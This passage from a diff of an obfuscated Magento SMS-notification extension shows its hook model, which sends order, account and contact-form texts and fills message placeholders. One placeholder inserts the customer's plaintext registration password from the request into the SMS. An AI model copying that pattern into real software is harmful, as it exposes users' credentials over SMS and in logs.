$i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_date3'] = $i17c20960d197486b19dc890665362a4f2fd6f24a['day'].'-'.$i17c20960d197486b19dc890665362a4f2fd6f24a['month'].'-'.$i17c20960d197486b19dc890665362a4f2fd6f24a['year']; } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_date4'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_date4'] = $i17c20960d197486b19dc890665362a4f2fd6f24a['year'].'-'.$i17c20960d197486b19dc890665362a4f2fd6f24a['month'].'-'.$i17c20960d197486b19dc890665362a4f2fd6f24a['day']; } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_date5'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_date5'] = $i17c20960d197486b19dc890665362a4f2fd6f24a['month'].'.'.$i17c20960d197486b19dc890665362a4f2fd6f24a['day'].'.'.$i17c20960d197486b19dc890665362a4f2fd6f24a['year']; } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_date6'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_date6'] = $i17c20960d197486b19dc890665362a4f2fd6f24a['month'].'/'.$i17c20960d197486b19dc890665362a4f2fd6f24a['day'].'/'.$i17c20960d197486b19dc890665362a4f2fd6f24a['year']; } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_date7'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_date7'] = $i17c20960d197486b19dc890665362a4f2fd6f24a['month'].'-'.$i17c20960d197486b19dc890665362a4f2fd6f24a['day'].'-'.$i17c20960d197486b19dc890665362a4f2fd6f24a['year']; } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_time'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_time'] = $i17c20960d197486b19dc890665362a4f2fd6f24a['hour'].':'.sprintf('%02.0f', $i17c20960d197486b19dc890665362a4f2fd6f24a['minute']); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_time1'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['order_time1'] = $i17c20960d197486b19dc890665362a4f2fd6f24a['hour'].':'.sprintf('%02.0f', $i17c20960d197486b19dc890665362a4f2fd6f24a['minute']).':'.sprintf('%02.0f', $i17c20960d197486b19dc890665362a4f2fd6f24a['second']); } } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
+ class Topefekt_Magesms_Model_Hooks extends Mage_Core_Model_Abstract { public static $groups = array( 'order_status' => 0, 'order' => 1, 'account' => 2, 'product' => 3, 'contactform' => 4, 'otp' => 5 ); protected function _construct() { $this->_init('magesms/hooks'); } public function send($i41496536c6b29c24b90c374d9fc25143f114dc9a, $i5e65dd16263683749d16a84171f719e768ed14b5) { $i6abff7c4dab2aa28578ae1dc49699ba6b1d18c18 = Mage::getSingleton('magesms/smsprofile'); if ($i6abff7c4dab2aa28578ae1dc49699ba6b1d18c18->user->user) { $i589c2cccd18de711ec5e779b98b9f98d0347a925 = Mage::app()->getStore()->getGroupId(); if (!$i589c2cccd18de711ec5e779b98b9f98d0347a925 && $i5e65dd16263683749d16a84171f719e768ed14b5->hasStoreId()) { $i589c2cccd18de711ec5e779b98b9f98d0347a925 = Mage::getModel('core/store')->load($i5e65dd16263683749d16a84171f719e768ed14b5->getStoreId())->getGroupId(); } if ($i5e65dd16263683749d16a84171f719e768ed14b5->getStore()) $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66 = $i5e65dd16263683749d16a84171f719e768ed14b5->getStore()->getId(); elseif (Mage::app()->getStore()) $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66 = Mage::app()->getStore()->getStoreId(); else $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66 = null; if (!Mage::helper('magesms')->isActive($i3bf172bc34c83f4a18624b192bc0bd7c4d647a66)) return $this; if (Mage::registry('magesms_store_id')) Mage::unregister('magesms_store_id'); Mage::register('magesms_store_id', $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66, true); $ib8622dd6b5bb413f7d6f85eb31e2abce529ae0a8 = Mage::getSingleton('magesms/hooks_admins')->getCollection(); if ($i589c2cccd18de711ec5e779b98b9f98d0347a925 || !Mage::getSingleton('admin/session')->isLoggedIn()) { $ib8622dd6b5bb413f7d6f85eb31e2abce529ae0a8->addFieldToFilter('store_group_id', $i589c2cccd18de711ec5e779b98b9f98d0347a925); } else { $ib8622dd6b5bb413f7d6f85eb31e2abce529ae0a8->getSelect()->group('admin_id'); } if ($i41496536c6b29c24b90c374d9fc25143f114dc9a == 'updateOrderStatus') { $ia0b4e748647d3e52f7c9741d5f659711a2db6dc5 = $i5e65dd16263683749d16a84171f719e768ed14b5->getStatus(); $ia0b4e748647d3e52f7c9741d5f659711a2db6dc5 = preg_replace('/[^a-zA-Z0-9_]/', '_', $ia0b4e748647d3e52f7c9741d5f659711a2db6dc5); $ia0b4e748647d3e52f7c9741d5f659711a2db6dc5 = preg_replace('/^([^a-zA-Z])/', 'x$1', $ia0b4e748647d3e52f7c9741d5f659711a2db6dc5); $ib8622dd6b5bb413f7d6f85eb31e2abce529ae0a8->addFieldToFilter('name', 'orderStatus'.uc_words($ia0b4e748647d3e52f7c9741d5f659711a2db6dc5, '')); $i7744e4decfaad72e8b713dad6e312bdd2770c4da = $i41496536c6b29c24b90c374d9fc25143f114dc9a.' - orderStatus'.uc_words($ia0b4e748647d3e52f7c9741d5f659711a2db6dc5, ''); } else { $ib8622dd6b5bb413f7d6f85eb31e2abce529ae0a8->addFieldToFilter('name', $i41496536c6b29c24b90c374d9fc25143f114dc9a); $i7744e4decfaad72e8b713dad6e312bdd2770c4da = $i41496536c6b29c24b90c374d9fc25143f114dc9a; } if ($ib8622dd6b5bb413f7d6f85eb31e2abce529ae0a8->count()) { $ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd = Mage::getSingleton('magesms/hooks_unicode')->getCollection() ->addFieldToFilter('type', 'admin')->getFirstItem(); foreach($ib8622dd6b5bb413f7d6f85eb31e2abce529ae0a8 as $i3d68c0cf53594c3449a7debf01d1c337a93fc4ae) { $i2977ace3ff82db806c1e7c92dd6811f3d76f0e87 = Mage::getModel('magesms/admins')->load($i3d68c0cf53594c3449a7debf01d1c337a93fc4ae->getAdminId()); if (!$i2977ace3ff82db806c1e7c92dd6811f3d76f0e87) continue; if (Mage::registry('magesms_hook_admin')) { Mage::unregister('magesms_hook_admin'); } Mage::register('magesms_hook_admin', $i2977ace3ff82db806c1e7c92dd6811f3d76f0e87); $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f = Mage::getModel('magesms/sms'); $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f->addRecipient($i2977ace3ff82db806c1e7c92dd6811f3d76f0e87->getNumber(), array('recipient' => $i2977ace3ff82db806c1e7c92dd6811f3d76f0e87->getName(), 'adminId' => $i2977ace3ff82db806c1e7c92dd6811f3d76f0e87->getId())) ->setMessage($this->prepareText($i3d68c0cf53594c3449a7debf01d1c337a93fc4ae->getSmstext(), $i41496536c6b29c24b90c374d9fc25143f114dc9a, $i5e65dd16263683749d16a84171f719e768ed14b5)) ->setSubject($i7744e4decfaad72e8b713dad6e312bdd2770c4da) ->setType(Topefekt_Magesms_Model_Sms::TYPE_ADMIN) ->setPriority(true) ->setUnicode($ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd->getUnicode()) ->setStoreId($i3bf172bc34c83f4a18624b192bc0bd7c4d647a66); $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f->setHookName($i7744e4decfaad72e8b713dad6e312bdd2770c4da); $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f->send(); } } if ($i5e65dd16263683749d16a84171f719e768ed14b5 instanceof Mage_Sales_Model_Order && Mage::getStoreConfig('magesms/magesms/customer_groups_enable', $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66)) { $groups = Mage::getStoreConfig('magesms/magesms/customer_groups', $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66); if (!in_array($i5e65dd16263683749d16a84171f719e768ed14b5->getCustomerGroupId(), explode(',', $groups))) return $this; } $i71e09ed37bc7273d250df9932c1693668e879cdd = Mage::getSingleton('magesms/hooks_customers')->getCollection() ->addFieldToFilter('active', 1) ->addFieldToFilter('mutation', Mage::getStoreConfig('general/locale/code', $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66)); if ($i41496536c6b29c24b90c374d9fc25143f114dc9a == 'updateOrderStatus') { $ia0b4e748647d3e52f7c9741d5f659711a2db6dc5 = $i5e65dd16263683749d16a84171f719e768ed14b5->getStatus(); $ia0b4e748647d3e52f7c9741d5f659711a2db6dc5 = preg_replace('/[^a-zA-Z0-9_]/', '_', $ia0b4e748647d3e52f7c9741d5f659711a2db6dc5); $ia0b4e748647d3e52f7c9741d5f659711a2db6dc5 = preg_replace('/^([^a-zA-Z])/', 'x$1', $ia0b4e748647d3e52f7c9741d5f659711a2db6dc5); $i71e09ed37bc7273d250df9932c1693668e879cdd->addFieldToFilter('name', 'orderStatus'.uc_words($ia0b4e748647d3e52f7c9741d5f659711a2db6dc5, '')); $i7744e4decfaad72e8b713dad6e312bdd2770c4da = $i41496536c6b29c24b90c374d9fc25143f114dc9a.' - orderStatus'.uc_words($ia0b4e748647d3e52f7c9741d5f659711a2db6dc5, ''); } else { $i71e09ed37bc7273d250df9932c1693668e879cdd->addFieldToFilter('name', $i41496536c6b29c24b90c374d9fc25143f114dc9a); $i7744e4decfaad72e8b713dad6e312bdd2770c4da = $i41496536c6b29c24b90c374d9fc25143f114dc9a; } if ($i71e09ed37bc7273d250df9932c1693668e879cdd->count()) { if ($i5e65dd16263683749d16a84171f719e768ed14b5 instanceof Mage_Sales_Model_Order || is_subclass_of($i5e65dd16263683749d16a84171f719e768ed14b5, 'Mage_Sales_Model_Order')) { $ib8129b89cda7dae2cfe1b114353de8ba2385974e = Mage::getModel('magesms/optout_order')->getCollection() ->addFieldToFilter('order_id', $i5e65dd16263683749d16a84171f719e768ed14b5->getId()) ->addFieldToFilter('disabled', 1); if ($ib8129b89cda7dae2cfe1b114353de8ba2385974e->count()) { return $this; } if ($i6abff7c4dab2aa28578ae1dc49699ba6b1d18c18->user->getPrefbilling()) { if ($i5e65dd16263683749d16a84171f719e768ed14b5->getShippingAddress()) { $i1f1945594819c4321de45ac15ed6d4dc07f41e2f = $i5e65dd16263683749d16a84171f719e768ed14b5->getShippingAddress()->getTelephone(); $idcde4f5fb5532c8e634fa3aa4c7ce182a046d76b = $i5e65dd16263683749d16a84171f719e768ed14b5->getShippingAddress()->getCountryId(); } if (empty($i1f1945594819c4321de45ac15ed6d4dc07f41e2f) || !preg_match('/^[0-9+()\/\.\s-]+$/', $i1f1945594819c4321de45ac15ed6d4dc07f41e2f)) { $i1f1945594819c4321de45ac15ed6d4dc07f41e2f = $i5e65dd16263683749d16a84171f719e768ed14b5->getBillingAddress()->getTelephone(); $idcde4f5fb5532c8e634fa3aa4c7ce182a046d76b = $i5e65dd16263683749d16a84171f719e768ed14b5->getBillingAddress()->getCountryId(); } } else { $i1f1945594819c4321de45ac15ed6d4dc07f41e2f = $i5e65dd16263683749d16a84171f719e768ed14b5->getBillingAddress()->getTelephone(); $idcde4f5fb5532c8e634fa3aa4c7ce182a046d76b = $i5e65dd16263683749d16a84171f719e768ed14b5->getBillingAddress()->getCountryId(); if (empty($i1f1945594819c4321de45ac15ed6d4dc07f41e2f) || !preg_match('/^[0-9+()\/\.\s-]+$/', $i1f1945594819c4321de45ac15ed6d4dc07f41e2f)) { $i1f1945594819c4321de45ac15ed6d4dc07f41e2f = $i5e65dd16263683749d16a84171f719e768ed14b5->getShippingAddress()->getTelephone(); $idcde4f5fb5532c8e634fa3aa4c7ce182a046d76b = $i5e65dd16263683749d16a84171f719e768ed14b5->getShippingAddress()->getCountryId(); } } if (!preg_match('/^[0-9+()\/\.\s-]+$/', $i1f1945594819c4321de45ac15ed6d4dc07f41e2f)) $i1f1945594819c4321de45ac15ed6d4dc07f41e2f = ''; $ifb2b31a17a2f13d19aebc5823ae02f42988a78f2 = $i5e65dd16263683749d16a84171f719e768ed14b5->getCustomerId(); if (!$ifb2b31a17a2f13d19aebc5823ae02f42988a78f2) $ifb2b31a17a2f13d19aebc5823ae02f42988a78f2 = 0; $i489c048e0604d314330360b5ee23b42f486ebb98 = $i5e65dd16263683749d16a84171f719e768ed14b5->getCustomerName(); } else { $i1f1945594819c4321de45ac15ed6d4dc07f41e2f = ''; $ifb2b31a17a2f13d19aebc5823ae02f42988a78f2 = $i5e65dd16263683749d16a84171f719e768ed14b5->getId(); } if (Mage::helper('core')->isModuleEnabled('Amasty_Orderattr')) { if (($i3a8afabb89bac1f64ee08bc9eeece7680677058c = Mage::app()->getRequest()->getParam('amorderattr')) && !empty($i3a8afabb89bac1f64ee08bc9eeece7680677058c['contact_tel'])) { $i1f1945594819c4321de45ac15ed6d4dc07f41e2f = $i3a8afabb89bac1f64ee08bc9eeece7680677058c['contact_tel']; } else { $i0bc4437a5c5941b7f3a262ba60f104077f308455 = Mage::getModel('amorderattr/attribute')->load($i5e65dd16263683749d16a84171f719e768ed14b5->getId(), 'order_id'); if ($i0bc4437a5c5941b7f3a262ba60f104077f308455->getContactTel()) { $i1f1945594819c4321de45ac15ed6d4dc07f41e2f = $i0bc4437a5c5941b7f3a262ba60f104077f308455->getContactTel(); } } } if (!$i1f1945594819c4321de45ac15ed6d4dc07f41e2f) { $ia8a35a47a8e61218e15d1a33dac64bdc2449c01a = Mage::app()->getRequest()->getParams(); foreach(array('mobilenumber', 'mobile_number', 'phone', 'phone_number', 'telephone', 'mobile', 'mobilephone') as $i670253c23c6fcba76bc4256a88fdd8fbc1041039) { if (!empty($ia8a35a47a8e61218e15d1a33dac64bdc2449c01a[$i670253c23c6fcba76bc4256a88fdd8fbc1041039])) { $i1f1945594819c4321de45ac15ed6d4dc07f41e2f = $ia8a35a47a8e61218e15d1a33dac64bdc2449c01a[$i670253c23c6fcba76bc4256a88fdd8fbc1041039]; $idcde4f5fb5532c8e634fa3aa4c7ce182a046d76b = Mage::getStoreConfig('general/country/default', $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66); break; } } } if (!$i1f1945594819c4321de45ac15ed6d4dc07f41e2f) { $i0e3e80cee9c51f140b823db0b7df66493acca657 = Mage::getSingleton('customer/session'); $i1f1945594819c4321de45ac15ed6d4dc07f41e2f = $i0e3e80cee9c51f140b823db0b7df66493acca657->getData('magesms_validate_mobile'); } if ($i1f1945594819c4321de45ac15ed6d4dc07f41e2f && is_numeric($ifb2b31a17a2f13d19aebc5823ae02f42988a78f2)) { $ifede0aa7d9c3f77f8ca4eb9c1002d82f3a770ae7 = $i71e09ed37bc7273d250df9932c1693668e879cdd->getFirstItem(); $i6d6da9eb4bc3bca1db3f4eb2b907f496d625d20f = $ifede0aa7d9c3f77f8ca4eb9c1002d82f3a770ae7->getSmstext(); if ($i6d6da9eb4bc3bca1db3f4eb2b907f496d625d20f) { $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f = Mage::getModel('magesms/sms'); $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f->addRecipient($i1f1945594819c4321de45ac15ed6d4dc07f41e2f, array('recipient' => $i489c048e0604d314330360b5ee23b42f486ebb98, 'customerId' => $ifb2b31a17a2f13d19aebc5823ae02f42988a78f2, 'country' => $idcde4f5fb5532c8e634fa3aa4c7ce182a046d76b)) ->setMessage($this->prepareText($i6d6da9eb4bc3bca1db3f4eb2b907f496d625d20f, $i41496536c6b29c24b90c374d9fc25143f114dc9a, $i5e65dd16263683749d16a84171f719e768ed14b5)) ->setSubject($i7744e4decfaad72e8b713dad6e312bdd2770c4da) ->setType(Topefekt_Magesms_Model_Sms::TYPE_CUSTOMER) ->setPriority(true) ->setStoreId($i3bf172bc34c83f4a18624b192bc0bd7c4d647a66); $if2014d170e15e7f6f64523fd3238720980ceb64a = Mage::getSingleton('magesms/hooks_unicode')->getCollection() ->addFieldToFilter('type', 'customer') ->addFieldToFilter('area', $ifede0aa7d9c3f77f8ca4eb9c1002d82f3a770ae7->getMutation()); if ($if2014d170e15e7f6f64523fd3238720980ceb64a->count()) { $ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd = $if2014d170e15e7f6f64523fd3238720980ceb64a->getFirstItem(); $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f->setUnicode($ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd->getUnicode()); } $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f->setHookName($i7744e4decfaad72e8b713dad6e312bdd2770c4da); $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f->send(); } } } } return $this; } public function prepareText($idfc9fbe8edf868c14fc4a3f15c7f40aabfa080aa, $i41496536c6b29c24b90c374d9fc25143f114dc9a, $i5e65dd16263683749d16a84171f719e768ed14b5) { if (preg_match_all('/{(.*?)}/', $idfc9fbe8edf868c14fc4a3f15c7f40aabfa080aa, $ia00c63b7b8f0d76f361b9bd281e5073cc0d0aa3e)) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b = array(); foreach($ia00c63b7b8f0d76f361b9bd281e5073cc0d0aa3e[1] as $iebd691e534c6cf2e84cf8a88790a5271154fca05) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b[$iebd691e534c6cf2e84cf8a88790a5271154fca05] = '{'.$iebd691e534c6cf2e84cf8a88790a5271154fca05.'}'; } if ($i5e65dd16263683749d16a84171f719e768ed14b5->getStore()) $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66 = $i5e65dd16263683749d16a84171f719e768ed14b5->getStore()->getId(); elseif (Mage::app()->getStore()) $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66 = Mage::app()->getStore()->getStoreId(); else $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66 = null; if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['shop_domain'])) { $ic157485eecbe64d400493d7b9e7f434b83aca5d0 = parse_url(Mage::getBaseUrl(Mage_Core_Model_Store::URL_TYPE_WEB)); $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['shop_domain'] = $ic157485eecbe64d400493d7b9e7f434b83aca5d0['host'].($ic157485eecbe64d400493d7b9e7f434b83aca5d0['path'] != '/' ? $ic157485eecbe64d400493d7b9e7f434b83aca5d0['path'] : ''); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['shop_name'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['shop_name'] = Mage::getStoreConfig('general/store_information/name', $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['shop_name2'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['shop_name2'] = Mage::app()->getStore()->getName(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['shop_email'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['shop_email'] = Mage::getStoreConfig('trans_email/ident_general/email', $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['shop_phone'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['shop_phone'] = Mage::getStoreConfig('general/store_information/phone', $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66); } if ($i3d68c0cf53594c3449a7debf01d1c337a93fc4ae = Mage::registry('magesms_hook_admin')) { if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['admin_name'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['admin_name'] = $i3d68c0cf53594c3449a7debf01d1c337a93fc4ae->getName(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['admin_phone'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['admin_phone'] = $i3d68c0cf53594c3449a7debf01d1c337a93fc4ae->getNumber(); } } if ($i41496536c6b29c24b90c374d9fc25143f114dc9a == 'contactForm') { $iacbd1c78463510856e506611fe14b5e1173581a6 = Mage::app()->getRequest(); if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_email'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_email'] = trim($iacbd1c78463510856e506611fe14b5e1173581a6->getPost('email')); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_name'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_name'] = trim($iacbd1c78463510856e506611fe14b5e1173581a6->getPost('name')); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_phone'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_phone'] = trim($iacbd1c78463510856e506611fe14b5e1173581a6->getPost('telephone')); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_message'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_message'] = trim($iacbd1c78463510856e506611fe14b5e1173581a6->getPost('comment')); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_message_short1'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_message_short1'] = Mage::helper('magesms')->substr(trim($iacbd1c78463510856e506611fe14b5e1173581a6->getPost('comment')), 0, 120); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_message_short2'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_message_short2'] = Mage::helper('magesms')->substr(trim($iacbd1c78463510856e506611fe14b5e1173581a6->getPost('comment')), 0, 100); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_message_short3'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_message_short3'] = Mage::helper('magesms')->substr(trim($iacbd1c78463510856e506611fe14b5e1173581a6->getPost('comment')), 0, 80); } } if ($i41496536c6b29c24b90c374d9fc25143f114dc9a == 'customerRegisterSuccess') { if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_id'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_id'] = $i5e65dd16263683749d16a84171f719e768ed14b5->getId(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_email'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_email'] = $i5e65dd16263683749d16a84171f719e768ed14b5->getEmail(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_password'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_password'] = Mage::app()->getRequest()->getParam('password'); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_firstname'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_firstname'] = $i5e65dd16263683749d16a84171f719e768ed14b5->getFirstname(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_lastname'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_lastname'] = $i5e65dd16263683749d16a84171f719e768ed14b5->getLastname(); } } if ($i41496536c6b29c24b90c374d9fc25143f114dc9a == 'newOrder' || $i41496536c6b29c24b90c374d9fc25143f114dc9a == 'updateOrderStatus' || $i41496536c6b29c24b90c374d9fc25143f114dc9a == 'updateOrderTrackingNumber') { if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_id'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_id'] = $i5e65dd16263683749d16a84171f719e768ed14b5->getCustomerId(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_email'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_email'] = $i5e65dd16263683749d16a84171f719e768ed14b5->getCustomerEmail(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_firstname'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_firstname'] = $i5e65dd16263683749d16a84171f719e768ed14b5->getCustomerFirstname(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_lastname'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_lastname'] = $i5e65dd16263683749d16a84171f719e768ed14b5->getCustomerLastname(); } if (empty($i22b151d2a920ca46892d343096abbccfad9f3678)) $i22b151d2a920ca46892d343096abbccfad9f3678 = $i5e65dd16263683749d16a84171f719e768ed14b5->getShippingAddress(); if (empty($i22b151d2a920ca46892d343096abbccfad9f3678)) $i22b151d2a920ca46892d343096abbccfad9f3678 = $i5e65dd16263683749d16a84171f719e768ed14b5->getBillingAddress(); if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_shipping_firstname'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_shipping_firstname'] = $i22b151d2a920ca46892d343096abbccfad9f3678->getFirstname(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_shipping_lastname'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_shipping_lastname'] = $i22b151d2a920ca46892d343096abbccfad9f3678->getLastname(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_company'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_company'] = $i22b151d2a920ca46892d343096abbccfad9f3678->getCompany(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_address'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_address'] = $i22b151d2a920ca46892d343096abbccfad9f3678->getStreet(1); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_postcode'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_postcode'] = $i22b151d2a920ca46892d343096abbccfad9f3678->getPostcode(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_city'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_city'] = $i22b151d2a920ca46892d343096abbccfad9f3678->getCity(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_country'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_country'] = $i22b151d2a920ca46892d343096abbccfad9f3678->getCountry(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_state'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_state'] = $i22b151d2a920ca46892d343096abbccfad9f3678->getRegion(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_phone'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_phone'] = $i22b151d2a920ca46892d343096abbccfad9f3678->getTelephone(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_vat_number'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_vat_number'] = $i22b151d2a920ca46892d343096abbccfad9f3678->getVatId(); } if (empty($i560c12365c45b205daa0512840c70486783226b1)) $i560c12365c45b205daa0512840c70486783226b1 = $i5e65dd16263683749d16a84171f719e768ed14b5->getBillingAddress(); if (empty($i560c12365c45b205daa0512840c70486783226b1)) $i560c12365c45b205daa0512840c70486783226b1 = $i5e65dd16263683749d16a84171f719e768ed14b5->getShippingAddress(); if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_invoice_company'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_invoice_company'] = $i560c12365c45b205daa0512840c70486783226b1->getCompany(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_invoice_firstname'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_invoice_firstname'] = $i560c12365c45b205daa0512840c70486783226b1->getFirstname(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_invoice_lastname'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_invoice_lastname'] = $i560c12365c45b205daa0512840c70486783226b1->getLastname(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_invoice_address'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_invoice_address'] = $i560c12365c45b205daa0512840c70486783226b1->getStreet(1); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_invoice_postcode'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_invoice_postcode'] = $i560c12365c45b205daa0512840c70486783226b1->getPostcode(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_invoice_city'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_invoice_city'] = $i560c12365c45b205daa0512840c70486783226b1->getCity(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_invoice_country'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_invoice_country'] = $i560c12365c45b205daa0512840c70486783226b1->getCountry(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_invoice_state'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_invoice_state'] = $i560c12365c45b205daa0512840c70486783226b1->getRegion(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_invoice_phone'])) { $i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_invoice_phone'] = $i560c12365c45b205daa0512840c70486783226b1->getTelephone(); } if (isset($i0933475b5bd80561a9f50282fd9eb0b8345cec4b['customer_invoice_vat_number'])) { 